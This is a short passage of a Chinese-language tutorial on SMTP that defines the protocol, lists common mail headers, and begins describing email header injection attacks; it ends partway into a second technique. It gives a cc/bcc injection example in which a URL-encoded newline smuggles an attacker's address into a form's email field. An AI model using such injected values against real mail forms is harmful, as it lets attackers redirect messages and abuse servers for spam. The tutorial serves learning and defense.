基础知识
什么是SMTP
SMTP 就是 Simple Mail Transfer Protocol 的缩写翻译来就是邮件传输协议,也就是用来发邮件的。
常见的标题头
-
return-path:邮件的回复地址。
-
from:发件人地址。
-
to:收件人地址。
-
subject:邮件主题,即邮件名。
-
body:邮件内容。
-
date:邮件发送日期。
-
cc:抄送。
-
bcc:密送。
常见攻击手法
-
cc/bcc注入
正常表单:
name=tom&email=tom@mail.com&password=passwd&form=submit
cc/bcc注入后的表单
name=tom&email=tom@mail.com%0Ahacker@mail.com&password=passwd&form=submit
其中%0A为\n 的url编码后的编码,这样邮件就会密送给hacker的邮箱
-
邮件主题注入
正常表单: